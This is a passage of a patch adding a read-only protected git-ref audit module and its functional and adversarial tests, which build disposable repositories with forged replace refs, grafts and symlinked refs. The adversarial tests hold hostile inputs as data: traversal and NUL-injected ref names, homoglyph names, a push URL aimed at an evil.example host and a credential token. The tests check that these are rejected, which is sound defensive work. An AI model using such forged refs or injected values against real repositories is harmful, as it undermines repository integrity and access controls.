observeDeclaredRefs(session, repositoryPath, expectedRefs, pathLabel) { + const patterns = []; + for (let i = 0; i < expectedRefs.length; i += 1) patterns.push(expectedRefs[i].ref); + const lines = await gitLines( + session, + [...cwdFlags(repositoryPath), 'for-each-ref', + '--format=%(objectname)%09%(objecttype)%09%(symref)%09%(refname)', + '--', ...patterns], + pathLabel, + ); + return parseRefRecords(lines, pathLabel); +} + +async function assertNoReplaceRefs(session, repositoryPath, pathLabel) { + const lines = await gitLines( + session, + [...cwdFlags(repositoryPath), 'for-each-ref', '--format=%(refname)', '--', 'refs/replace'], + `${pathLabel}.replace`, + ); + if (lines.length > 1 || (lines.length === 1 && lines[0].length > 0)) { + deny('replace_refs_denied', `${pathLabel}.replace`); + } +} + +async function classifyStorage(layout, refValue) { + const candidates = [ + PATH_JOIN(layout.git_dir, refValue), + PATH_JOIN(layout.common_dir, refValue), + ]; + let loose = false; + let aliased = false; + for (let i = 0; i < candidates.length; i += 1) { + const metadata = await lstatOrNull(candidates[i]); + if (metadata === null) continue; + if (isSymlinkStat(metadata)) { + aliased = true; + continue; + } + if (typeof metadata.isFile === 'function' && metadata.isFile()) loose = true; + } + return { loose, aliased }; +} + +function findRecord(records, refValue) { + for (let i = 0; i < records.length; i += 1) { + if (records[i].refname === refValue) return records[i]; + } + return null; +} + +async function compareDeclared(layout, expectedRefs, classified, records) { + const comparisons = []; + const findings = []; + const classes = new SET_CTOR(); + let packedCount = 0; + let looseCount = 0; + let symbolicCount = 0; + let missingCount = 0; + for (let i = 0; i < expectedRefs.length; i += 1) { + const expected = expectedRefs[i]; + const classed = classified[i]; + const record = findRecord(records, expected.ref); + const storageProbe = await classifyStorage(layout, expected.ref); + let outcome = 'match'; + let storage = 'unknown'; + if (record === null) { + outcome = 'missing_ref'; + storage = 'absent'; + missingCount += 1; + } else if (record.refname !== expected.ref) { + outcome = 'aliased_ref'; + storage = 'unknown'; + } else if (typeof record.symref === 'string' && record.symref.length > 0) { + outcome = 'symbolic_ref'; + storage = 'symbolic'; + symbolicCount += 1; + } else if (storageProbe.aliased) { + outcome = 'aliased_ref'; + storage = 'loose'; + } else if (record.objectname !== expected.sha) { + outcome = 'moved_ref'; + storage = storageProbe.loose ? 'loose' : 'packed'; + } else { + storage = storageProbe.loose ? 'loose' : 'packed'; + } + if (storage === 'packed') { + packedCount += 1; + classes.add('packed_ref'); + } else if (storage === 'loose') { + looseCount += 1; + } + if (outcome !== 'match') classes.add(outcome); + const comparison = freezeRecord(COMPARISON_KEYS, { + outcome: outcome === 'match' ? 'match' : outcome, + storage, + ref_class: classed.ref_class, + protected: classed.protected, + default_branch_target: classed.default_branch_target, + }); + comparisons.push(comparison); + if (outcome !== 'match') { + findings.push(freezeRecord( + ['code', 'ref_class', 'storage', 'protected', 'default_branch_target'], + { + code: outcome, + ref_class: classed.ref_class, + storage, + protected: classed.protected, + default_branch_target: classed.default_branch_target, + }, + )); + } + } + return { + comparisons: capturedFreeze(comparisons), + findings, + classes, + packedCount, + looseCount, + symbolicCount, + missingCount, + }; +} + +function sortedClasses(classes) { + const values = []; + for (let i = 0; i < PROTECTED_REF_AUDIT_FINDING_CODES.length; i += 1) { + const code = PROTECTED_REF_AUDIT_FINDING_CODES[i]; + if (classes.has(code)) values.push(code); + } + return capturedFreeze(values); +} + +function failingFrom(classes) { + for (let i = 0; i < PROTECTED_REF_AUDIT_FAILING_CODES.length; i += 1) { + if (classes.has(PROTECTED_REF_AUDIT_FAILING_CODES[i])) return true; + } + return false; +} + +function discrepancyKind(_classes) { + return 'security'; +} + +function sideEffects() { + const values = {}; + for (let i = 0; i < PROTECTED_REF_AUDIT_SIDE_EFFECT_NONCLAIMS.length; i += 1) { + values[PROTECTED_REF_AUDIT_SIDE_EFFECT_NONCLAIMS[i]] = false; + } + return freezeRecord(PROTECTED_REF_AUDIT_SIDE_EFFECT_NONCLAIMS, values); +} + +function emitFact(request, status, inputDigest, outputDigest, durationMs) { + const bounded = durationMs > MAX_DURATION_MS ? MAX_DURATION_MS : durationMs; + const headSha = capturedHasOwn(request.identity, 'head_sha') + ? request.identity.head_sha + : request.identity.base_sha; + return parseVerifiedFactV1({ + fact_id: 'protected-ref-audit', + fact_kind: 'git_identity', + status, + code: 'host_observed', + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + sequence: request.sequence, + subject: 'protected-refs', + authority: 'platform_git', + method: 'protected_ref_snapshot_compare', + input_digest: inputDigest, + output_digest: outputDigest, + exit_code: status === 'verified' ? 0 : 1, + duration_ms: bounded, + truncated: false, + payload: { base_sha: request.identity.base_sha, head_sha: headSha }, + artifact_digests: [], + }); +} + +function emitDiscrepancy(request, classes) { + const kind = discrepancyKind(classes); + return parseEvidenceDiscrepancyV1({ + discrepancy_id: 'protected-ref-audit', + discrepancy_kind: kind, + status: 'recorded', + code: 'security_boundary', + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + sequence: request.sequence, + claim_ids: [], + fact_ids: ['protected-ref-audit'], + artifact_digests: [], + }); +} + +export async function auditProtectedRefsV1(input, options) { + const request = parseProtectedRefAuditRequestV1(input); + const parsedOptions = parseOptions(options); + assertAuthorityInspect(request); + const pathLabel = 'protected_ref_audit'; + const session = createSession(parsedOptions.spawn); + const layout = await observeRepositoryKind(session, request.repository_path, pathLabel); + await assertNoReplaceRefs(session, request.repository_path, pathLabel); + const first = await observeDeclaredRefs( + session, request.repository_path, request.expected_refs, `${pathLabel}.refs`, + ); + const compared = await compareDeclared( + layout, request.expected_refs, request.classified, first, + ); + const second = await observeDeclaredRefs( + session, request.repository_path, request.expected_refs, `${pathLabel}.refs_repeat`, + ); + if (canonicalRecords(first) !== canonicalRecords(second)) { + compared.classes.add('race_detected'); + compared.findings.push(freezeRecord( + ['code', 'ref_class', 'storage', 'protected', 'default_branch_target'], + { + code: 'race_detected', + ref_class: 'unclassified', + storage: 'unknown', + protected: true, + default_branch_target: false, + }, + )); + } + const observedClasses = sortedClasses(compared.classes); + const failed = failingFrom(compared.classes); + const status = failed ? 'failed' : 'verified'; + const durationMs = MATH_MAX(0, MATH_FLOOR(Date.now() - session.startedAt)); + const inputDigest = digestOf({ + expected_refs: request.expected_refs, + base_sha: request.identity.base_sha, + }); + const outputDigest = digestOf({ + comparisons: compared.comparisons, + observed_classes: observedClasses, + repository_kind: layout.kind, + }); + const fact = emitFact(request, status, inputDigest, outputDigest, durationMs); + const discrepancies = failed ? capturedFreeze([emitDiscrepancy(request, compared.classes)]) : capturedFreeze([]); + const observation = freezeRecord( + ['command_count', 'compared_count', 'duration_ms', 'loose_count', 'missing_count', + 'packed_count', 'symbolic_count'], + { + command_count: session.commands, + compared_count: request.expected_refs.length, + duration_ms: durationMs, + loose_count: compared.looseCount, + missing_count: compared.missingCount, + packed_count: compared.packedCount, + symbolic_count: compared.symbolicCount, + }, + ); + return freezeRecord(RECEIPT_KEYS, { + schema: PROTECTED_REF_AUDIT_SCHEMA_ID, + version: PROTECTED_REF_AUDIT_VERSION, + status, + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + base_sha: request.identity.base_sha, + repository_kind: layout.kind, + comparisons: compared.comparisons, + findings: capturedFreeze(compared.findings), + observed_classes: observedClasses, + facts: capturedFreeze([fact]), + discrepancies, + side_effects: sideEffects(), + observation, + }); +} + +export function describeProtectedRefAuditV1() { + return freezeData(capturedFreeze({ + schema: PROTECTED_REF_AUDIT_SCHEMA_ID, + version: PROTECTED_REF_AUDIT_VERSION, + rule: 'read_only_live_protected_ref_compare', + max_audit_refs: MAX_AUDIT_REFS, + max_audit_git_args: MAX_AUDIT_GIT_ARGS, + readonly_git_commands: PROTECTED_REF_AUDIT_READONLY_GIT_COMMANDS, + git_spawn_posture: 'argv_only_p29_inspect_env_no_optional_locks', + inspect_env: GIT_INSPECT_ENV, + finding_codes: PROTECTED_REF_AUDIT_FINDING_CODES, + failing_codes: PROTECTED_REF_AUDIT_FAILING_CODES, + repository_kinds: PROTECTED_REF_AUDIT_REPOSITORY_KINDS, + checks: PROTECTED_REF_AUDIT_CHECKS, + error_codes: PROTECTED_REF_AUDIT_ERROR_CODES, + side_effect_nonclaims: PROTECTED_REF_AUDIT_SIDE_EFFECT_NONCLAIMS, + composed_surfaces: capturedFreeze({ + git_authority: 'P28 classifyRefV1/isProtectedRefV1/classifyGitOperationV1/parseGitAuthorityPolicyV1', + credential_isolation: 'P29 GIT_INSPECT_ENV and denyWorkerRemoteMutation', + evidence: 'P13 git_identity + protected_ref_snapshot_compare', + api_or_orchestration: 'not invoked; P30 is library observation only', + remote_mutation: 'denied', + }), + })); +} + +capturedFreeze(parseProtectedRefAuditRequestV1); +capturedFreeze(auditProtectedRefsV1); +capturedFreeze(describeProtectedRefAuditV1); From f4600b447a13109d165013c568b2bcbbb76b0f41 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 16:52:21 +0000 Subject: [PATCH 102/151] test(boundary): cover packed symbolic worktree and race refs Prove local, bare, linked-worktree, packed-ref, symbolic-ref, aliased, missing, moved, and snapshot-race coverage. Hostile inputs, mutation operations, and credential material fail closed without git spawns, and before/after repository byte and ref identity stay exact. --- .../r1-protected-ref-audit-fixtures.mjs | 309 +++++++++++++++++ ...1-protected-ref-audit-adversarial.test.mjs | 294 +++++++++++++++++ .../test/r1-protected-ref-audit.test.mjs | 310 ++++++++++++++++++ 3 files changed, 913 insertions(+) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-protected-ref-audit-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-protected-ref-audit-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-protected-ref-audit.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-protected-ref-audit-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-protected-ref-audit-fixtures.mjs new file mode 100644 index 0000000..f11e95b --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-protected-ref-audit-fixtures.mjs @@ -0,0 +1,309 @@ +// Disposable repository fixtures for P30 live protected-ref audit. +// Construction uses argv git only. Disposable repositories never attach +// remotes, credentials, or push URLs. Tests own the assertions. + +import { spawn, spawnSync } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { lstat, mkdir, mkdtemp, readdir, readFile, rm, symlink, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { + PROTECTED_REF_AUDIT_SCHEMA_ID, + PROTECTED_REF_AUDIT_VERSION, +} from '../../mcp/v3/protected-ref-audit.mjs'; + +export const RUN_ID = 'run-protected-ref-01'; +export const ASSIGNMENT_ID = 'lane-audit'; +export const MAIN_REF = 'refs/heads/main'; +export const MASTER_REF = 'refs/heads/master'; +export const CONTENT_FREE = /^[A-Za-z0-9_=.:/\[\]()";', -]+$/u; + +export const GIT_ENV = Object.freeze({ + PATH: '/usr/bin:/bin', + HOME: '/tmp', + LANG: 'C', + LC_ALL: 'C', + TZ: 'UTC', + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_TERMINAL_PROMPT: '0', + GIT_OPTIONAL_LOCKS: '0', + GIT_AUTHOR_NAME: 'p30', + GIT_AUTHOR_EMAIL: 'p30@example.test', + GIT_COMMITTER_NAME: 'p30', + GIT_COMMITTER_EMAIL: 'p30@example.test', +}); + +export function countingProxy(target) { + const counts = { get: 0, ownKeys: 0, getOwnPropertyDescriptor: 0, has: 0, apply: 0 }; + const proxy = new Proxy(target, { + get(inner, property, receiver) { + counts.get += 1; + return Reflect.get(inner, property, receiver); + }, + ownKeys(inner) { + counts.ownKeys += 1; + return Reflect.ownKeys(inner); + }, + getOwnPropertyDescriptor(inner, property) { + counts.getOwnPropertyDescriptor += 1; + return Reflect.getOwnPropertyDescriptor(inner, property); + }, + has(inner, property) { + counts.has += 1; + return Reflect.has(inner, property); + }, + apply() { + counts.apply += 1; + throw new Error('proxy apply must never run'); + }, + }); + return { proxy, counts }; +} + +export function trapTotal(counts) { + return counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has + counts.apply; +} + +export function git(cwd, args, env = GIT_ENV) { + const result = spawnSync('/usr/bin/git', [ + '-c', 'init.defaultBranch=main', + '-c', 'user.name=p30', + '-c', 'user.email=p30@example.test', + ...args, + ], { cwd, encoding: 'utf8', env }); + if (result.status !== 0) { + const error = new Error('disposable git command failed'); + error.code = 'git_fixture_failed'; + error.stderr = result.stderr; + error.stdout = result.stdout; + throw error; + } + return typeof result.stdout === 'string' ? result.stdout.trim() : ''; +} + +export async function cleanupRepo(root) { + await rm(root, { recursive: true, force: true }); +} + +function wrap(root, fields) { + return { + path: root, + ...fields, + cleanup: () => cleanupRepo(root), + }; +} + +async function emptyRepo(prefix, extraArgs = []) { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + git(root, ['init', '--initial-branch=main', ...extraArgs]); + return root; +} + +async function commit(root, message, fileName = 'file.txt', contents = message) { + await writeFile(path.join(root, fileName), `${contents}\n`, 'utf8'); + git(root, ['add', '--', fileName]); + git(root, ['commit', '-m', message]); + return git(root, ['rev-parse', 'HEAD']); +} + +export function validIdentity(repositoryPath, baseSha, overrides = {}) { + return { + repository_path: repositoryPath, + base_sha: baseSha, + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + ...overrides, + }; +} + +export function validRequest(repositoryPath, baseSha, overrides = {}) { + const expectedRefs = overrides.expected_refs ?? [{ ref: MAIN_REF, sha: baseSha }]; + const request = { + schema: PROTECTED_REF_AUDIT_SCHEMA_ID, + version: PROTECTED_REF_AUDIT_VERSION, + identity: overrides.identity ?? validIdentity(repositoryPath, baseSha, overrides.identity_overrides), + expected_refs: expectedRefs, + }; + for (const key of Object.keys(overrides)) { + if (key === 'identity_overrides' || key === 'expected_refs' || key === 'identity') continue; + request[key] = overrides[key]; + } + if (overrides.identity) request.identity = overrides.identity; + if (overrides.expected_refs) request.expected_refs = overrides.expected_refs; + return request; +} + +export async function createLocalProtectedRepo(prefix = 'p30-local-') { + const root = await emptyRepo(prefix); + const baseSha = await commit(root, 'base', 'base.txt', 'base'); + git(root, ['tag', 'v1', baseSha]); + const tagSha = git(root, ['rev-parse', 'refs/tags/v1']); + return wrap(root, { baseSha, headSha: baseSha, tagSha, kind: 'local' }); +} + +export async function createPackedProtectedRepo(prefix = 'p30-packed-') { + const repo = await createLocalProtectedRepo(prefix); + git(repo.path, ['pack-refs', '--all']); + return { ...repo, kind: 'packed' }; +} + +export async function createBareProtectedRepo(prefix = 'p30-bare-') { + const source = await createLocalProtectedRepo(`${prefix}src-`); + const bareRoot = path.join(path.dirname(source.path), `${path.basename(source.path)}-bare`); + git(path.dirname(source.path), ['clone', '--bare', '--local', source.path, bareRoot]); + const baseSha = git(bareRoot, ['rev-parse', 'refs/heads/main']); + const tagSha = git(bareRoot, ['rev-parse', 'refs/tags/v1']); + return wrap(bareRoot, { + baseSha, + headSha: baseSha, + tagSha, + kind: 'bare', + cleanup: async () => { + await cleanupRepo(bareRoot); + await source.cleanup(); + }, + }); +} + +export async function createLinkedWorktreeProtectedRepo(prefix = 'p30-wt-') { + const repo = await createLocalProtectedRepo(prefix); + const worktreePath = path.join(path.dirname(repo.path), `${path.basename(repo.path)}-wt`); + git(repo.path, ['worktree', 'add', '--detach', worktreePath, repo.headSha]); + return { + ...repo, + worktreePath, + kind: 'linked_worktree', + cleanup: async () => { + await rm(worktreePath, { recursive: true, force: true }); + await repo.cleanup(); + }, + }; +} + +export async function createMovedProtectedRepo(prefix = 'p30-moved-') { + const repo = await createLocalProtectedRepo(prefix); + const original = repo.baseSha; + const movedSha = await commit(repo.path, 'moved', 'moved.txt', 'moved'); + return { ...repo, baseSha: original, headSha: movedSha, movedSha, kind: 'moved' }; +} + +export async function createSymbolicProtectedRepo(prefix = 'p30-sym-') { + const repo = await createLocalProtectedRepo(prefix); + git(repo.path, ['symbolic-ref', 'refs/heads/release', MAIN_REF]); + return { ...repo, aliasRef: 'refs/heads/release', kind: 'symbolic' }; +} + +export async function createAliasedLooseProtectedRepo(prefix = 'p30-alias-') { + const repo = await createLocalProtectedRepo(prefix); + git(repo.path, ['branch', 'master', repo.baseSha]); + const loose = path.join(repo.path, '.git', 'refs', 'heads', 'main'); + await rm(loose, { force: true }); + await symlink('master', loose); + return { ...repo, kind: 'aliased' }; +} + +export async function createMissingDefaultRepo(prefix = 'p30-missing-') { + const repo = await createLocalProtectedRepo(prefix); + return { ...repo, kind: 'missing' }; +} + +export async function createReplaceProtectedRepo(prefix = 'p30-replace-') { + const repo = await createLocalProtectedRepo(prefix); + const tree = git(repo.path, ['rev-parse', 'HEAD^{tree}']); + const forged = git(repo.path, ['commit-tree', tree, '-m', 'forged-replace']); + git(repo.path, ['update-ref', `refs/replace/${repo.baseSha}`, forged]); + return { ...repo, extra: { forged }, kind: 'replace' }; +} + +export async function createGraftsProtectedRepo(prefix = 'p30-grafts-') { + const repo = await createLocalProtectedRepo(prefix); + const infoDir = path.join(repo.path, '.git', 'info'); + await mkdir(infoDir, { recursive: true }); + await writeFile(path.join(infoDir, 'grafts'), `${repo.headSha} ${'0'.repeat(40)}\n`, 'utf8'); + return { ...repo, kind: 'grafts' }; +} + +export async function createSymlinkAliasPathRepo(prefix = 'p30-linkpath-') { + const repo = await createLocalProtectedRepo(prefix); + const alias = path.join(path.dirname(repo.path), `${path.basename(repo.path)}-alias`); + await symlink(repo.path, alias, 'dir'); + return { + ...repo, + aliasPath: alias, + cleanup: async () => { + await rm(alias, { force: true }); + await repo.cleanup(); + }, + }; +} + +export async function snapshotRepositoryIdentity(root) { + const entries = []; + async function walk(relative) { + const absolute = path.join(root, relative); + const metadata = await lstat(absolute); + if (metadata.isDirectory()) { + entries.push({ p: relative, t: 'dir', m: metadata.mode }); + const children = await readdir(absolute); + children.sort(); + for (const child of children) await walk(path.join(relative, child)); + return; + } + if (metadata.isSymbolicLink()) { + entries.push({ p: relative, t: 'link', m: metadata.mode }); + return; + } + const digest = createHash('sha256'); + if (metadata.size <= 1024 * 1024) digest.update(await readFile(absolute)); + else digest.update(String(metadata.size)); + entries.push({ + p: relative, t: 'file', m: metadata.mode, s: metadata.size, h: digest.digest('hex'), + }); + } + await walk(''); + const refs = git(root, ['for-each-ref', '--format=%(refname) %(objectname)']); + return { entries, refs }; +} + +export function createRecordingSpawn(mutateOnDeclaredSnapshot) { + const records = []; + let declaredSnapshots = 0; + const spawnFn = (file, args, options) => { + const env = options?.env ?? {}; + records.push({ + file, + args: [...args], + envKeys: Object.keys(env).sort(), + env: { ...env }, + cwd: options?.cwd, + }); + const isForEach = Array.isArray(args) && args.includes('for-each-ref'); + const isReplace = Array.isArray(args) && args.includes('refs/replace'); + if (typeof mutateOnDeclaredSnapshot === 'function' && isForEach && !isReplace) { + declaredSnapshots += 1; + if (declaredSnapshots === 2) mutateOnDeclaredSnapshot(); + } + return spawn(file, args, options); + }; + return { spawn: spawnFn, records }; +} + +export function fixtureGitCommands(records) { + const commands = []; + for (const record of records) { + for (let i = 0; i < record.args.length; i += 1) { + const arg = record.args[i]; + if (arg === '-C' || arg === '--git-dir' || arg === '-c') { + i += 1; + continue; + } + if (typeof arg === 'string' && arg.startsWith('-')) continue; + commands.push(arg); + break; + } + } + return commands; +} diff --git a/plugins/codex-co-engineer/test/r1-protected-ref-audit-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-protected-ref-audit-adversarial.test.mjs new file mode 100644 index 0000000..33b42b9 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-protected-ref-audit-adversarial.test.mjs @@ -0,0 +1,294 @@ +import assert from 'node:assert/strict'; +import { writeFileSync } from 'node:fs'; +import path from 'node:path'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { + GIT_INSPECT_ENV, + denyWorkerRemoteMutation, +} from '../mcp/v3/credential-boundary.mjs'; +import { DENIED_OPERATIONS } from '../mcp/v3/git-authority.mjs'; +import { + MAX_AUDIT_REFS, + PROTECTED_REF_AUDIT_READONLY_GIT_COMMANDS, + auditProtectedRefsV1, + parseProtectedRefAuditRequestV1, +} from '../mcp/v3/protected-ref-audit.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { CONTENT_FREE } from './fixtures/r1-git-authority-fixtures.mjs'; +import { + MAIN_REF, + countingProxy, + createAliasedLooseProtectedRepo, + createGraftsProtectedRepo, + createLocalProtectedRepo, + createRecordingSpawn, + createReplaceProtectedRepo, + createSymlinkAliasPathRepo, + fixtureGitCommands, + git, + snapshotRepositoryIdentity, + trapTotal, + validIdentity, + validRequest, +} from './fixtures/r1-protected-ref-audit-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(() => action()) + .then( + () => assert.fail('expected a typed RunContractV1Error'), + (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + assert.equal(utilTypes.isProxy(error), false); + return error; + }, + ); +} + +function assertContentFree(value, extras = []) { + const text = typeof value === 'string' ? value : JSON.stringify(value); + assert.equal(text.includes('/tmp'), false); + assert.equal(text.includes('https://'), false); + assert.equal(text.includes('git@'), false); + for (const extra of extras) { + assert.equal(text.includes(extra), false, `leaked ${JSON.stringify(extra)}`); + } + const message = typeof value === 'string' ? value : value?.message; + if (typeof message === 'string') assert.match(message, CONTENT_FREE); +} + +test('parent-failing hostile policy probes deny namespace escape without echoing attacker bytes', async () => { + const repo = await createLocalProtectedRepo(); + try { + const probes = [ + 'refs/heads/codex/run-abababababababab/../main', + 'refs/heads/main.lock', + 'refs/heads/foo@{bar}', + 'refs/heads/\uFF4D\uFF41\uFF49\uFF4E', + 'refs/heads/\u0430lpha', + 'HEAD', + 'main', + '-C', + 'refs/heads/main\0evil', + ]; + for (const ref of probes) { + const error = await errorOf(() => parseProtectedRefAuditRequestV1(validRequest( + repo.path, repo.baseSha, { expected_refs: [{ ref, sha: repo.baseSha }] }, + ))); + assert.ok( + error.code === 'hostile_name_denied' || error.code === 'invalid_type' + || error.code === 'invalid_format' || error.code === 'authority_identity_invalid', + `${ref} -> ${error.code}`, + ); + assertContentFree(error, [ref, repo.path, '/tmp']); + } + } finally { + await repo.cleanup(); + } +}); + +test('proxy accessor symbol unknown-key and exotic inputs fail closed before git', async () => { + const repo = await createLocalProtectedRepo(); + const recording = createRecordingSpawn(); + try { + const base = validRequest(repo.path, repo.baseSha); + const { proxy, counts } = countingProxy(base); + const proxied = await errorOf(() => auditProtectedRefsV1(proxy, { spawn: recording.spawn })); + assert.equal(proxied.code, 'proxy_denied'); + assert.equal(trapTotal(counts) > 0 || proxied.code === 'proxy_denied', true); + + const symbolled = { ...base, [Symbol('steal')]: 'secret' }; + const symbolError = await errorOf(() => auditProtectedRefsV1(symbolled, { spawn: recording.spawn })); + assert.equal(symbolError.code, 'symbol_key_denied'); + + const accessor = {}; + for (const [key, value] of Object.entries(base)) { + Object.defineProperty(accessor, key, { enumerable: true, get() { return value; } }); + } + const accessError = await errorOf(() => auditProtectedRefsV1(accessor, { spawn: recording.spawn })); + assert.ok( + accessError.code === 'accessor_property_denied' || accessError.code === 'own_undefined_denied' + || accessError.code === 'invalid_type', + ); + + const unknown = { ...base, push_url: 'https://evil.example/x' }; + const unknownError = await errorOf(() => auditProtectedRefsV1(unknown, { spawn: recording.spawn })); + assert.equal(unknownError.code, 'unknown_key'); + assertContentFree(unknownError, ['https://evil.example/x', 'push_url']); + + const exotic = Object.assign(Object.create({ stolen: true }), base); + const exoticError = await errorOf(() => auditProtectedRefsV1(exotic, { spawn: recording.spawn })); + assert.ok( + exoticError.code === 'exotic_prototype_denied' || exoticError.code === 'invalid_type', + ); + + const spawnProxy = await errorOf(() => auditProtectedRefsV1(base, { + spawn: countingProxy(() => {}).proxy, + })); + assert.equal(spawnProxy.code, 'proxy_denied'); + assert.equal(recording.records.length, 0); + assertContentFree(proxied); + assertContentFree(symbolError); + assertContentFree(unknownError); + } finally { + await repo.cleanup(); + } +}); + +test('mutation operations and credential material never spawn git', async () => { + const repo = await createLocalProtectedRepo(); + const recording = createRecordingSpawn(); + try { + for (const operation of DENIED_OPERATIONS) { + const error = await errorOf(() => auditProtectedRefsV1( + validRequest(repo.path, repo.baseSha, { operation }), + { spawn: recording.spawn }, + )); + assert.equal(error.code, 'remote_mutation_denied', operation); + assertContentFree(error, [operation, repo.path]); + assert.throws(() => denyWorkerRemoteMutation(operation)); + } + const commit = await errorOf(() => auditProtectedRefsV1( + validRequest(repo.path, repo.baseSha, { operation: 'commit_on_lane_branch' }), + { spawn: recording.spawn }, + )); + assert.equal(commit.code, 'audit_operation_denied'); + const credential = await errorOf(() => parseProtectedRefAuditRequestV1(validRequest( + repo.path, repo.baseSha, { + identity: { + ...validIdentity(repo.path, repo.baseSha), + token: 'secret-token', + }, + }, + ))); + assert.ok(credential.code === 'unknown_key' || credential.code === 'credential_content_denied'); + assertContentFree(credential, ['secret-token']); + assert.equal(recording.records.length, 0); + } finally { + await repo.cleanup(); + } +}); + +test('aliased loose refs, replace refs, grafts, and symlink paths fail closed', async () => { + const aliased = await createAliasedLooseProtectedRepo(); + try { + const before = await snapshotRepositoryIdentity(aliased.path); + const receipt = await auditProtectedRefsV1(validRequest(aliased.path, aliased.baseSha)); + assert.equal(receipt.status, 'failed'); + assert.equal(receipt.findings[0].code, 'aliased_ref'); + assertContentFree(receipt, [aliased.path]); + const after = await snapshotRepositoryIdentity(aliased.path); + assert.deepEqual(after, before); + } finally { + await aliased.cleanup(); + } + + const replaced = await createReplaceProtectedRepo(); + try { + const error = await errorOf(() => auditProtectedRefsV1(validRequest(replaced.path, replaced.baseSha))); + assert.equal(error.code, 'replace_refs_denied'); + assertContentFree(error, [replaced.path, replaced.baseSha]); + } finally { + await replaced.cleanup(); + } + + const grafted = await createGraftsProtectedRepo(); + try { + const error = await errorOf(() => auditProtectedRefsV1(validRequest(grafted.path, grafted.baseSha))); + assert.equal(error.code, 'grafts_denied'); + assertContentFree(error, [grafted.path]); + } finally { + await grafted.cleanup(); + } + + const linked = await createSymlinkAliasPathRepo(); + try { + const error = await errorOf(() => auditProtectedRefsV1(validRequest(linked.aliasPath, linked.baseSha))); + assert.ok(error.code === 'repository_invalid' || error.code === 'authority_identity_invalid'); + assertContentFree(error, [linked.aliasPath, linked.path]); + } finally { + await linked.cleanup(); + } +}); + +test('duplicate aliased expected-ref objects and overlong lists fail closed', async () => { + const repo = await createLocalProtectedRepo(); + try { + const entry = { ref: MAIN_REF, sha: repo.baseSha }; + const aliased = await errorOf(() => parseProtectedRefAuditRequestV1(validRequest( + repo.path, repo.baseSha, { expected_refs: [entry, entry] }, + ))); + assert.equal(aliased.code, 'aliased_reference_denied'); + const duplicateName = await errorOf(() => parseProtectedRefAuditRequestV1(validRequest( + repo.path, repo.baseSha, { + expected_refs: [ + { ref: MAIN_REF, sha: repo.baseSha }, + { ref: MAIN_REF, sha: repo.baseSha }, + ], + }, + ))); + assert.equal(duplicateName.code, 'invalid_format'); + const tooMany = []; + for (let i = 0; i < MAX_AUDIT_REFS + 1; i += 1) { + tooMany.push({ ref: `refs/tags/t${i}`, sha: repo.baseSha }); + } + const range = await errorOf(() => parseProtectedRefAuditRequestV1(validRequest( + repo.path, repo.baseSha, { expected_refs: tooMany }, + ))); + assert.equal(range.code, 'out_of_range'); + assertContentFree(aliased); + assertContentFree(duplicateName); + } finally { + await repo.cleanup(); + } +}); + +test('live race between snapshots fails closed and the audit argv stays read-only', async () => { + const repo = await createLocalProtectedRepo(); + try { + const movedSha = git(repo.path, ['commit', '--allow-empty', '-m', 'race-side']); + git(repo.path, ['update-ref', MAIN_REF, repo.baseSha]); + const recording = createRecordingSpawn(() => { + writeFileSync(path.join(repo.path, '.git', 'refs', 'heads', 'main'), `${movedSha}\n`); + }); + const receipt = await auditProtectedRefsV1( + validRequest(repo.path, repo.baseSha), + { spawn: recording.spawn }, + ); + assert.equal(receipt.status, 'failed'); + assert.equal(receipt.observed_classes.includes('race_detected'), true); + assert.equal(receipt.discrepancies[0].discrepancy_kind, 'security'); + assertContentFree(receipt, [repo.path, movedSha]); + for (const command of fixtureGitCommands(recording.records)) { + assert.equal(PROTECTED_REF_AUDIT_READONLY_GIT_COMMANDS.includes(command), true, command); + } + for (const record of recording.records) { + assert.deepEqual(record.env, { ...GIT_INSPECT_ENV }); + assert.equal(record.args.includes('update-ref'), false); + assert.equal(record.args.includes('commit'), false); + assert.equal(record.args.includes('push'), false); + } + } finally { + await repo.cleanup(); + } +}); + +test('two concurrent read-only audits leave a stable repository byte-identical', async () => { + const repo = await createLocalProtectedRepo(); + try { + const before = await snapshotRepositoryIdentity(repo.path); + const request = validRequest(repo.path, repo.baseSha); + const [left, right] = await Promise.all([ + auditProtectedRefsV1(request), + auditProtectedRefsV1({ ...request, expected_refs: [{ ref: MAIN_REF, sha: repo.baseSha }] }), + ]); + assert.equal(left.status, 'verified'); + assert.equal(right.status, 'verified'); + const after = await snapshotRepositoryIdentity(repo.path); + assert.deepEqual(after, before); + } finally { + await repo.cleanup(); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-protected-ref-audit.test.mjs b/plugins/codex-co-engineer/test/r1-protected-ref-audit.test.mjs new file mode 100644 index 0000000..5ca82ad --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-protected-ref-audit.test.mjs @@ -0,0 +1,310 @@ +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + GIT_INSPECT_ENV, + denyWorkerRemoteMutation, +} from '../mcp/v3/credential-boundary.mjs'; +import { parseEvidenceDiscrepancyV1, parseVerifiedFactV1 } from '../mcp/v3/evidence-bundle.mjs'; +import { + 